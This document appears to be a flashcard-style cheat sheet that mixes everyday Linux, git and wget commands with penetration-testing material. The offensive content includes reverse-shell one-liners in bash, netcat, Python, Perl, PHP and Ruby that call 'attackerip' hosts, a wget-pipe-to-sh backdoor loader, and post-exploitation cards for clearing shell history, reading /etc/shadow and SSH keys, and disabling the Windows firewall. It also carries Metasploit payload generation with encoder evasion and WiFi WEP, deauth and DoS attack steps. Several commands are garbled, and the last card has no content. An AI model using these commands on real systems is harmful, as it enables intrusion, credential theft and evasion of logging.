Often you will find you need to use different commands on the same line. Here are some examples. Note that the | character is called a pipe, it takes date from one program and pipes it to another. > : means create a new file, overwriting any content already there. >> : means tp append data to a file, creating a newone if it doesn not already exist. < : send input from a file back into a command. - Dump all lines that match User from the httpd.conf, then print the results to your screen one page at a time: *last -a > /root/lastlogins.tmp* - Print all the current login history to a file called lastlogins.tmp in /root/: *last -a > /root/lastlogins.tmp* - Grab the last 10,000 lines from /var/log/exim_mainlog, find all occurances of domain.com: *tail -10000 /var/log/exim_mainlog | grep domain.com | more* - Show how many active connections there are to apache: *netstat -an | grep :80 | wc -l* - Show how many current open connections there are to mysql: *mysqladmin processlist | wc -l* - MySQL Dump: *mysqldump -u username -p dbname > file.sql* - UnTAR file: *tar -zxvf file.tar.gz*
Linux - How-To - Setting up an HTTP Tunnel
On the home computer (server): Start the ssh server - sshd Start the HTTP Tunnel server - hts -forward-port localhost:22 80 On the office computer (client): Start the HTTP Tunnel client - htc -forward-port 900 -proxy HttpProxy:3128 HomeComputer:80 Start the ssh client - ssh -L 800:pop3server:113 sshlogin@localhost -p 900 Then read your email with your mail program at localhost:800
Linux and Unix Tools - Using EMACS - Part 3 - Other Stuff
Open a shell ALT-x eshell Goto a line number ALT-x goto-line Word wrap ALT-x toggle-word-wrap Spell checking ALT-x flyspell-mode Line numbers ALT-x linum-mode Toggle line wrap ALT-x visual-line-mode Compile some code ALT-x compile List packages ALT-x package-list-packages
Linux - Tools - Screen
Screen is a shell program that allows you to work in multiple sessions at once. SCREEN -- (C-a == Control-a) screen -S name Start a new screen with name screen -ls List Running Screens screen -r name Attach to screen 'name' screen -S name -X cmd Send cmd to screen 'name' C-a ? List Keybindings (help) C-a d Detatch C-a D D Detach and Logout C-a c Create New Window C-a C-a Switch to Last Active Window C-a ' num|name Switch to Window num|name C-a " See Windows List and Change C-a k Kill Current Window C-a S Split Display Horizontally C-a V Split the Screen Vertically C-a tab Jumpt to Next Display C-a X Remove Current Region C-a Q Remove All Regions but Current
Linux - Additional Archive Manipulation
Search inside a .zip archive: zipgrep *.txt archive.zip Search inside a tar.gz file: tar ztvf file.tar.gz | grep blah Read a gz file Linux without decompressing: zcat archive.gz Same function as the less command for .gz archives: zless archive.gz Search inside .gz archives on Linux, search inside of compressed log files: zgrep 'blah' /var/log/maillog*.gz Use vim to read .txt.gz files: vim file.txt.gz UPX compress .exe file Linux: upx -9 -o output.exe input.exe
Code - Using Git - Part 1
Set your identify: git config --global user.name "John Doe" git config --global user.email [email protected] Set your editor: git config --global core.editor vi Enable color: git config --global color.ui true Stage all changes for commit: git add --all To commit staged changes git commit -m "Your commit message"
Commands - Aircrack-NG - Clientless WEP Attack via Fragmentation
Step 1: aireplay-ng -1 0 -e linksys -a B:S:S:I:D -h Y:O:U:R:M:A:C mon0 Step 2: aireplay-ng -5 -b B:S:S:I:D -h Y:O:U:R:M:A:C mon0 Step 3: Use this packet? type "Y" for yes but make sure the size is over 68 from experience. Step 4: Type ls to show the files in your root directory and copy the whole file that ends in .xor Step 5: packetforge-ng -0 -a B:S:S:I:D -h Y:O:U:R:M:A:C -k 255.255.255.255 -l 255.255.255.255 -y fragment-001-002.xor -w arp-request Step 6: airodump-ng -c 11 -bssid B:S:S:I:D -ivs -w capture mon0 Step 7: aireplay-ng -2 -r arp-request mon0 Step 8: Use this packet? type "Y" for yes but make sure the size is 68 or over from experience. Step 9: aircrack-ng -n 64 -b B:S:S:I:D *.ivs This is assuming your attacking a 64bit encrypted network if not just to the regular aircrack-ng command.
Windows - Useful Commands- Part 2
System Reconnaissance *set* - show environment variables *net user* - show local users *net localgroups* - show local groups *sc query* - list running services *sc query state= all* - list all services *wmic process list full* - show details on all running processes *tasklist /svc* - show all running processess and associated services
Code - Using Git - Part 2
To edit previous commit message git commit --amend # To removed staged and working directory changes git reset --hard # To remove untracked files git clean -f -d # To remove untracked and ignored files git clean -f -d -x # To push to the tracked master branch: git push origin master # To push to a specified repository: git push [email protected]:username/project.git # To delete the branch "branch_name" git branch -D branch_name # To see who commited which line in a file git blame filename
SSH Commands Reference - Cheatsheet - Random Usefulness
Tunnel all your browser traffic through your SSH server: *$ ssh -D 9999 [email protected]* Launch a local x11 session for a given application. Simply use the following command then run whatever X application: *$ ssh -X [email protected] 'xterm'* Use a local server through a proxy server: *$ ssh -f -N -L 1521:destinationhost.com:80 servertoproxyfrom.com* Tunneling VNC over ssh: *$ ssh -L 5900:localhost:5900 [email protected]* Jump off one box into another: *$ ssh -t gatewayhost.com ssh destinationhost.com* Forward connections using server A to get to server B. You can use this method to get to any application such as smtp, pop3, mysql, oracle etc. Just translate the port number: *$ ssh -L 3306:serverB.com:3306 [email protected]* Reverse SSH Tunneling. Concept is you want to get from a server at work or public IP into your home server or a server behind a firewall. Say your destination server is 192.168.136.3, source server is mynitor.com. Then ssh back to localhost to get to the home server. *$ ssh -R 3333:localhost:22 [email protected]* *$ ssh localhost -p 3333* Log in without appearing in lastlog/w and who output. *$ ssh -T [email protected]* Play a wav file on remote server: *$ ssh user1@local_server 'play /home/mynitor/2pac.wav'* Outputting your microphone to a remote computer's speaker: *# dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp* (Source - http://goo.gl/8b7f7T)
Linux - UPDATE-RC.D - Check/Change Startup Services
UPDATE-RC.D service --status-all - [+] Service Starts at Boot [-] Service does not start service service start - Start a Service service service stop - Stop a Service service service status - Check Status Start Up Cmd (-f if the /etc/init.d startup file exists) update-rc.d -f service remove Remove a service start up cmd (f if the /etc/init.d startup file exists) update-rc.d service defaults - Add a Startup Service CHKCONFIG chkconfig --list - List existing Services and Run Status chkconfig service -list - Check Single Service Status chkconfig service on [--level 3] - Remove Service. Example: chkconfig iptables off
Linux - System Permission Values
777 - rwxrwxrwx -No restriction, global WRX any user can do anything. 755 - rwxr-xr-x - Owner has full access, others can read and execute the file. 700 - rwx------ - Owner has full access, no one else has access. 666 - rw-rw-rw- - All users can read and write but not execute. 644 - rw-r--r-- - Owner can read and write, everyone else can read. 600 - rw------- - Owner can read and write, everyone else has no access.
Common port protocols - part 4 - 995 - 1026-1029 - 1080 - 1241 - 1433-1434 -
995 - POP3 Over SSL 1026-1029 - Windows Messager 1080 - SOCKS Proxy 1241 - Nessus - Nessus Security Scanner 1433-1434 - Microsoft SQL S* Querry Language
Change MAC Address in Android using BusyBox and then check to see if it changed
:su :busybox iplink show wlan0 :busybox ifconfig wlan0 hw ether 00:11:22:33:44:55 Check MAC - :busybox iplink show wlan0
Tools - Using SOCAT to tunnel IPv6 through IPv4 Tools
SOCAT TUNNEL IPv6 THROUGH IPv4 TOOLS socat TCP-LISTEN:8080,reuseaddr,fork TCP6: [2001: :] :80 ./nikto.pl -host 12-.0.0.1 -port 8080
Linux - Tools - Useful Wget Commands
Save File with a Different Name: **wget -O [Preferred_Name] [URL]** Continuing the Download Process in the Background **wget -b [URL]** You may check for download progress by accessing contents of the wget-log file using the tail command as follows: **tail -f wget-log** Reading a File for Multiple Downloads **wget -i [TEXT-FILE-NAME]** Emulating a Complete Website **wget --mirror [Website Name]** FTP Downloads For Anonymous FTP downloading: **wget [FTP-URL]** For Authenticated FTP Download: **wget --ftp-user=[USERNAME] --ftp-password=[PASSWORD] [URL]**
In Backbox - Change Directories and run WPScan on "site.org"
cd /opt/backbox/wpscan/ sudo ruby wpscan.rb --url www.site.org
Linux - Bash - Echo (print on the screen) the location of a file
which <command>
Linux - View the 10 most used commands from history - change head value from 10 to 20, 50, etc.
# : history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n10
Linux - Tools - A Few Sed Examples
# To replace all occurrences of "day" with "night" and write to stdout: sed 's/day/night/g' file.txt # To replace all occurrences of "day" with "night" within file.txt: sed -i 's/day/night/g' file.txt # To replace all occurrences of "day" with "night" on stdin: echo 'It is daytime' | sed 's/day/night/g' # To remove leading spaces sed -i -r 's/^\s+//g' file.txt # Remove empty lines and print results to stdout: sed '/^$/d' file.txt
Encryption: Generate a key pair in GPG. May take a while. Keys are stored in ~/.gnupg/ on *nix
# gpg --gen-key
Nessus - Create User account for the Nessus web interface -
/opt/nessus/sbin/nessus-adduser
Interesting and Informative Twitter Accounts to Follow
@Soul_Protocol - of course ;p @n1tr0g3n_com <To be updated regularly - I hope>
ARP Spoofing, assuming iface is wlan0
arpspoof -i wlan0 -t 192.168.VIC.IP 192.168.1.1
Put NIC in Monitor mode without using airmon-ng
Assuming your active interface is wlan0 - ifconfig [wlancard e.g. wlan0] down iwconfig [wlancard e.g. wlan0] mode managed ifconfig [wlancard e.g. wlan0] up iwconfig [wlancard e.g. wlan0] channel [channel e.g. 11] ifconfig [wlancard e.g. wlan0] down iwconfig [wlancard e.g. wlan0] mode monitor ifconfig [wlancard e.g. wlan0] up
Wifi Hacking - DOS ( Denial Of Service) Attacks using mdk3
Auth Flood - mdk3 int a -a $AP Beacon Flood - mdk3 int b -c $CH
Reverse Shellcode - Related Commands - Bash
BASH: bash -i >& /dev/tcp/192.168.23.10/443 0>&1 exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/192.168.23.10/443 0<&1 2>&1
Linux - Commands - Various. Useful, but needs to be sorted ASAP
Cross compile C code, compile 32 bit binary on 64 bit Linux: gcc -m32 -o output.c input.c Compile C code: gcc -o output.c input.c Connect to RDP server: rdesktop X.X.X.X Kill Current Session: kill -9 $$ Change owner of file or dir: chown user:group blah Change owner of file or dir and all underlying files / dirs - recersive chown: chown -R user:group blah Clear Bash History: $ ssh [email protected] | cat /dev/null > ~/.bash_history
Linux - Commands - More practical wget examples Part 1
Download a file and save it in a specific folder - wget ‐‐directory-prefix=folder/subfolder example.com Download a file but only if the version on server is newer than your local copy - wget ‐‐continue ‐‐timestamping wordpress.org/latest.zip Download a web page with all assets that are required to properly display the web page offline. - wget ‐‐page-requisites ‐‐span-hosts ‐‐convert-links ‐‐adjust-extension http://example.com/dir/file Download an entire website including all the linked pages and files - wget ‐‐execute robots=off ‐‐recursive ‐‐no-parent ‐‐continue ‐‐no-clobber http://example.com/ Download all the MP3 files from a sub directory - wget ‐‐level=1 ‐‐recursive ‐‐no-parent ‐‐accept mp3,MP3 http://example.com/mp3/ Download all images from a website in a common folder - wget ‐‐directory-prefix=files/pictures ‐‐no-directories ‐‐recursive ‐‐no-clobber ‐‐accept jpg,gif,png,jpeg http://example.com/images/
Linux - Commands - More practical wget examples Part 2
Download the PDF documents from a website through recursion but stay within specific domains. - wget ‐‐mirror ‐‐domains=abc.com,files.abc.com,docs.abc.com ‐‐accept=pdf http://abc.com/ Download files from a password protected sites - wget ‐‐http-user=labnol ‐‐http-password=hello123 http://example.com/secret/file.zip Find the size of a file without downloading it (look for Content Length in the response, the size is in bytes) - wget ‐‐spider ‐‐server-response http://example.com/file.iso Download a file and display the content on screen without saving it locally. ---- (*More useful than it sounds*) ---- wget ‐‐output-document - ‐‐quiet google.com/humans.txt Know the last modified date of a web page (check the Last Modified tag in the HTTP header). - wget ‐‐server-response ‐‐spider http://www.labnol.org/ Limit bandwidth hogging - wget ‐‐limit-rate=20k ‐‐wait=60 ‐‐random-wait ‐‐mirror example.com
Linux - Random Useful Command Line Commands - Part 6
Execute the following command in your Apache logs directory to determine hits coming from individual IP addresses - $ cat access.log | awk '{print $1}' | sort | uniq -c | sort - n | tail Find processes with the highest CPU usage. Then use kill - 9 pid to kill a process. - $ ps aux | sort -nrk 3 | head Backup the content of the current folder into a tarball file using gzip compression - $ tar zcfv backup.tar.gz /wp-directory/ Find all files on the system that were modified less than 10 minutes ago - $ find . - type f - mmin -10 Find lines that are common in any two text files. - $ grep - Fx - f file-A.html file-B.html
Post Exploitation Commands PART 4
In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$'ing the shell. Sometimes the shell can be configured to run 'history - w' after every command; get around this by overriding 'history' with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however. --- Users' Information - * ls -alh /home/*/ * ls -alh /home/*/.ssh/ * cat /home/*/.ssh/authorized_keys * cat /home/*/.*hist* # you can learn a lot from this * find /home/*/.vnc /home/*/.subversion -type f * grep ^ssh /home/*/.*hist* * sudo -l # if sudoers is not. readable, this sometimes works per user * cat /home/*/.mysql_history --- Escalating Priv.- Looking for possible opened paths - * ls -alh /root/ * cat /etc/master.passwd # OpenBSD * cat /var/spool/cron/crontabs/* | cat /var/spool/cron/* * cat /etc/shadow * lsof -nPi * ls /home/*/.ssh/*
Nessus - Activate Nessus by entering this into Terminal -
In terminal: /opt/nessus/bin/nessus-fetch --register A60F-XXXX-XXXX-XXXX-0006 where: A60F-XXXX-XXXX-XXXX-0006 is your activation code
Tips - Bash - Share current tree over the web
Just run "webshare" and the current directory and everything beneath it will be served from a new web server listening on port 8000. One Line - alias webshare='python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"'
More Helpful Post-Exploit Commands
Load backdoor: wget http:// server /backdoor.sh -O- | sh Downloads and runs backdoor.sh FPIPE - Listen 1234 and Forward to Port 80 on 2.2.2.2: fpipe.exe -l 1234 -r 80 2.2.2.2 Socks.exe - Scan INtranet through Socks Proxy: On redirector (1.1.1.1): socks.exe -i1.1.1.1 -p 8080 On Attacker: Modify /etc/proxychains.conf: Comment out: #proxy_dns Comment out: #socks4a 127.0.0.1 9050 Add Line: socks4 1.1.1.1 8080 Scan though Socks proxy: proxychains nmap -PN -vv -sT -p 22,135,139,445 2.2.2.2
Proxychains - Open and Configure Proxychains Config file -
Locate the file - locate proxychains.conf Load the file with nano (or favorite text editor) - nano /etc/proxychains.conf
Windows - Commands, possibly post-exploit
Lock Workstation: rundll32.dll user32.dll LockWorkstation Disable Windows Firewall -- netsh advfirewall set currentprofile state off netsh advfirewall set allprofiles state off Re-Enable Command Prompt - reg add HKCU\Software\Policies\t1icrosoft\Windows\System /v DisableCHD /t REG DWORD /d 0 /f PSEXEC -- Execute File Hosted on Remote System with Specified Credentials: psexec /accepteula \\ targetiP -u domain\user -p password -c -f \\ smbiP \share\file.exe OPEN MAIL RELAY -- C:\ telnet x.x.x.x 25 HELO x.x.x.x MAIL FROM: [email protected] RCPT TO: [email protected] DATA Thank You. . quit
SSH - Remote Forwarding
Make services on your local system / local network accessible to the remote host via a remote listener - Remember that you need to be root to bind to TCP port <1024 Example 1 - The SSH server will be able to access TCP port 80 on the SSH client by connecting to 127.0.0.1:8000 on the SSH server. ssh -R 127.0.0.1:8000:127.0.0.1:80 10.0.0.1 Then in ~/.ssh/config, add: RemoteForward 127.0.0.1:8000 127.0.0.1:80 Example 2 - The SSH server will be able to access TCP port 80 on 172.16.0.99 (a host accessible from the SSH client) by connecting to 127.0.0.1:8000 on the SSH server ssh -R 127.0.0.1:8000:172.16.0.99:80 10.0.0.1 then in ~/.ssh/config, add: RemoteForward 127.0.0.1:8000 172.16.0.99:80
Reverse Shells - Several different examples Part 1
Netcat (* Start Listener on Attack Box to Catch Shell) - nc 10.0.0.1 1234 -e /bin/sh - Linux Reverse Shell nc 10.0.0.1. 1234 -e cmd.exe - Windows Reverse Shell Netcat (Some versions don't support -E Option) - nc -e /bin/sh 10.0.0.1 1234 Netcat Work-Around when -E Option not Possible - rm /tmp/f;mkfifo /tmp/f;cat /tmp/fl/bin/sh -i 2 &line l0.0.0.1 1234 /tmp/f Python: python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2; p=subprocess.call(["/bin/sh","-i"]);'
Reverse Shellcode - Related Commands - PERL:
PERL: Shorter Perl reverse shell that does not depend on /bin/sh: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' If the target system is running Windows use the following one-liner: perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -e 'use Socket;$i="10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Reverse Shellcode - Related Commands - PHP
PHP: This code assumes that the TCP connection uses file descriptor 3. php -r '$sock=fsockopen("10.0.0.1″,1234);exec("/bin/sh -i <&3 >&3 2>&3″);' php -r '$sock=fsockopen("10.0.0.1″,1234);exec("/bin/sh -i <&3 >&3 2>&3″);' If you would like a PHP reverse shell to download, try this link on pentestmonkey.net -> LINK
Reverse Shellcode - Related Commands - PYTHON
PYTHON: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Reverse Shellcode - Related Commands - RUBY
RUBY: Longer Ruby reverse shell that does not depend on /bin/sh: ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444″);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444″);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' If the target system is running Windows use the following one-liner: ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444″);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444″);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e'f=TCPSocket.open("attackerip",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'f=TCPSocket.open("attackerip",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Linux - Commands - System Information - Local Enumeration
Show mounted devices: mount Reset Password in One Line: echo "user:passwd" | chpasswd Shows contents of none text files, e.g. whats in a binary: strings /usr/local/bin/blah Add a new PATH, handy for local FS manipulation: PATH=$PATH:/my/new-path
Linux and Unix Tools - Using EMACS - Part 2 - Buffers
Split screen vertically CTRL-x 2 Split screen vertically with 5 row height CTRL-u 5 CTRL-x 2 Split screen horizontally CTRL-x 3 Split screen horizontally with 24 column width CTRL-u 24 CTRL-x 3 Revert to single screen CTRL-x 1 Hide the current screen CTRL-x 0 Kill the current screen CTRL-x k Move to the next buffer CTRL-x O Select a buffer CTRL-x b Run command in the scratch buffer CTRL-x CTRL-e
&& at the end of a command
Starts a script or program in the background, so that you may still use that terminal.
Misc. Random Commands - Sort
Stunnel - SSL Encapsulated NC Tunnel (Windows & Linux) [8] On Attacker (client): Modify /stunnel.conf client = yes [netcat client] accept = 5555 connect = -Listening IP-:4444 On Victim (listening server): Modify /stunnel.conf client = no [netcat server] accept = 4444 connect = 7777 C:\ nc -vlp 7777
Breaking Out of Limited Shells
The Python trick: $ python -c 'import pty;pty.spawn("/bin/bash")' $ echo os.system('/bin/bash') $ /bin/sh -i
Tools - IRC chat - Encryption - Configuring SASL for irssi
This script, by Michael Tharp and Jilles Tjoelker, comes from http://www.stack.nl/~jilles/irc/. Authentication information is stored in ~/.irssi/sasl.auth. * Copy the script, cap_sasl.pl, into your ~/.irssi/scripts/autorun directory or from wherever irssi loads startup scripts. * The script requires at least the Perl module MIME::Base64. If you're using Linux, Perl modules are generally in distribution repositories, or you can get them directly from CPAN. If you cannot install them for the whole system, you maybe able to use local::lib. * Load the script using /script load autorun/cap_sasl.pl * The script needs to be configured with /sasl set network nick password mechanism. * network is the (case-sensitive) name of the network specified with /network add. * nick is your primary registered nickname. A grouped nickname will not work. * password is your NickServ password. * mechanism is either PLAIN or DH-BLOWFISH. DH-BLOWFISH separately encrypts your services password before sending it to the server. To use DH-BLOWFISH, you will need to install the Perl modules Crypt::OpenSSL::Bignum, Crypt::DH, Crypt::Blowfish, and Math::BigInt. If Crypt::DH is not available, Crypt::DH::GMP and Crypt::DH::GMP::Compat may be substituted instead. The script will still work using PLAIN without these modules. * Save the settings with /sasl save. * If everything has been configured correctly, the next time you connect you should see the message: SASL authentication successful Source: http://goo.gl/KXcRbK
Local Linux Enumeration & Privilege Escalation Part 6 - Service Information
View services running as root: ps aux | grep root * Lookup process binary path and permissions: ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' * List services managed by inetd: cat /etc/inetd.conf * As above for xinetd: cat /etc/xinetd.conf * A very 'rough' command to extract associated binaries from xinetd.conf and show permissions of each: cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null * Permissions and contents of /etc/exports (NFS): ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null
Linux - Commands - More Network Commands
Watch TCP, UDP open ports in real time with socket summary: watch ss -stplu Add IP address to existing network interface in Linux: ifconfig eth0:1 192.168.2.3/24 Change MAC address in Linux using ifconfig. ifconfig eth0 hw ether MACADDR Perform a DNS zone transfer using dig: dig @192.168.2.2 domain.com -t AXFR Get hostname for IP address: nbtstat -A x.x.x.x Blocks access to google.com from the host machine: tcpkill -9 host google.com Use Google DNS: echo "8.8.8.8" > /etc/resolv.conf
Wifi Hacking - Brute Forcing a WPA Handshake Using aircrack-ng -
aircrack-ng -w wordlist capfile.cap
Commands - Aircrack-NG - Decrypt WEP and WPA packets
airdecap-ng -w password_key capture-01.cap Using Tshark with the commands below, WEP & WPA have 2 different commands to remember. For WEP Encrypted Files: tshark -r capture-01-dec.o1cap -c 10 For WPA encrypted files: airdecap-ng -p password_key capture-01.cap -e linksys
Commands - Aircrack-NG - ARP Relay Attack
aireplay-ng -3 -b 00:13:10:30:24:9C mon0 Where: -3 means standard arp request replay -b 00:13:10:30:24:9C is the access point MAC address -h 00:11:22:33:44:55 is the source MAC address (either an associated client or from fake authentication) ath0 is the wireless interface name There are two methods of replaying an ARP which was previously injected. The first and simplest method is to use the same command plus the "-r" to read the output file from your last successful ARP replay. aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0 Where: -3 means standard arp request replay -b 00:13:10:30:24:9C is the access point MAC address -h 00:11:22:33:44:55 is the source MAC address (either an associated client or from fake authentication) -r replay_arp-0219-115508.cap is the name of the file from your last successful ARP replay ath0 is the wireless interface name The second method is a special case of the interactive packet replay attack. It is presented here since it is complementary to the ARP request replay attack. aireplay-ng -2 -r replay_arp-0219-115508.cap ath0 Where: -2 means interactive frame selection -r replay_arp-0219-115508.cap is the name of the file from your last successful ARP replay ath0 is the wireless card interface name
Wifi Hacking - Start Monitor Mode on your Wifi Card with aircrack-ng package
airmon-ng stop wlan0 airmon-ng start wlan1 iwconfig wlan0 channel $CH
Alias - get rid of command not found(a)
alias cd..='cd ..'
Alias - Colorize Diff Output
alias diff='colordiff'
Colorize the grep command output for ease of use (good for log files)
alias grep='grep --color=auto'
Alias' - Colorize the ls output(a)
alias ls='ls --color=auto'
Alias - Make mount command output pretty and human readable format
alias mount='mount |column -t'
Alias - Show Open Ports
alias ports='netstat -tulanp'
Start Port Forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
Add "whatever" repo to list of repo sources(a)
echo deb http://repo.whatever.org/whatever main >> /etc/apt/sources.list
Tools - Commands - Wireshark Filters
eth.addr/eth.dsteth.src MAC rip.auth.passwd RIP password ip.addr/ip.dst/ip.src (ipv6.) IP tcp.port/tcp.dstport/tcp.srcport TCP Ports tcp.flags (ack,fin,push,reset,syn,urg) TCP Flags udp.port/udp.dstport/udp.srcport UDP Ports http.authbasic Basic Authentication http.www_authentication HTTP AUTHentication http.data HTTP data portion http.cookie HTTP Cookie http.referer HTTP referer http.server HTTP Server http.user_agent HTTP User Agent String wlan.fc.type eq 0 802.11 management frame wlan.fc.type eq 1 802.11 control frame wlan.fc.type eq 0 802.11 Data Frame
Linux - Tips - Find All Empty Files and Folders
find . -iname "*" -empty
Linux - Tips - Find Files Modified in the Last N Days
find . -iname "*" -mtime -2
Commands - Aircrack-NG - Reveal Hidden SSID's
for this Attack to work you need an associated client on the network to deauth. this works on all encryption levels and even non encrypted AP's Make sure to open up airodump-ng on the channel of your victim to watch for the SSID to be revealed in real time aireplay-ng -0 5 -a B:S:S:I:D mon0 Thats all there is to it, when the client reconnects to the AP you will see the hidden SSID revealed in airodump-ng
Checking for live hosts using fping
fping -a -g 192.168.1.1 192.168.1.255 -s >hosts
Coding - Using Git - Part 2 - Sync a fork with the master repo
git remote add upstream [email protected]:name/repo.git # Set a new repo git remote -v # Confirm new remote repo git fetch upstream # Get branches git branch -va # List local - remote branches git checkout master # Checkout local master branch git checkout -b new_branch # Create and checkout a new branch git merge upstream/master # Merge remote into local repo git show 83fb499 # Show what a commit did. git show 83fb499:path/fo/file.ext # Shows the file as it appeared at 83fb499. git diff branch_1 branch_2 # Check difference between branches git log # Show all the commits git status # Show the changes from last commit
Show apt-get installed packages
grep 'install ' /var/log/dpkg.log
Linux - Tips - See the Most Used Commands in Bash History
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}'
Using nmap - A Few Good Example Scripts -
http-robots.txt -Gathers any robot.txt files from web servers that are discovered during scan - $ nmap --script http-robots.txt <hosts> smb-brute - Attempts to find smb username and passwords via brute force - $ nmap --script smb-brute.nse -p445 <hosts> dns-zone-trasfer - Tries to grab a zone file (AXFR) from a DNS server. $ nmap --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=<domain> -p53 <hosts> (add more)
Unix Command Translators for sysadmins
http://bhami.com/rosetta.html http://unixguide.net/unixguide.shtml
Nessus - Obtain a Nessus Activation Code - Go to following site -
http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code
MAC Spoofing with Macchanger on wlan0
ifconfig wlan0 down macchanger --mac 00:11:22:33:44:55 wlan0 ifconfig wlan0 up
Tip - Bash - Quickly output your internal IP address only. May be useful to set as an alias.
ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'
Code - Python - Recipe - Port Scanner in less than 10 lines of Code - NOTE: Since Quizlet doesn't allow indentation, please indent any line that follows ':' - so indent the line 'try:', and then double-indent the rest of the lines until you get to the last line, where you can remove both indents.
import socket as sk for port in range(1,1024): try: s=sk.socket(sk.AF_INET,sk.SOCK_STREAM) s.settimeout(1000) s.connect(('127.0.0.1',port)) print '%d:OPEN' % (port) s.close except: continue
Adds a hidden IP address to Linux, does not show up when performing an ifconfig.
ip addr add 192.168.2.22/24 dev eth0
Linux - Tips - Connect to open Authentication Network using terminal
iwconfig wlan0 essid "LINKSYS" Note - This command needs to have the "Parenthesis" around the ESSID name to work.
Nmap Full Web Vulnerable Scan
mkdir /usr/share/nmap/scripts/vulscan cd /usr/share/nmap/scrripts/vulscan wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV -script=vulscan/vulscan.nse target nmap -sS -sV -script=vulscan/vulscan.nse -script-args vulscandb=scipvuldb.csv target nmap -sS -sV -script=vulscan/vulscan.nse -script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV -script=vulscan -script-args vulscancorrelation=1 -p80 target nmap -sV -script=vuln target nmap -PN -sS -sV -script=all -script-args vulscancorrelation=1 target
Tools- ncat - Listen on localhost:80, forward to localhost:81 and log both sides of the conversation to outflow, automatically restarting if the connection dies
mknod backpipe p; while nc -l -p 80 0<backpipe | tee -a inflow | \ nc localhost 81 | tee -a outflow 1>backpipe; do echo \"restarting\"; done
Metasploit Payloads
msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.10 X > system.exe msfpayload php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 R > exploit.php msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 R | msfencode -t asp -o file.asp msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | msfencode -e x86/shikata_ga_nai -b "\x00″ -t c
Commands - Windows Buffer Overflow
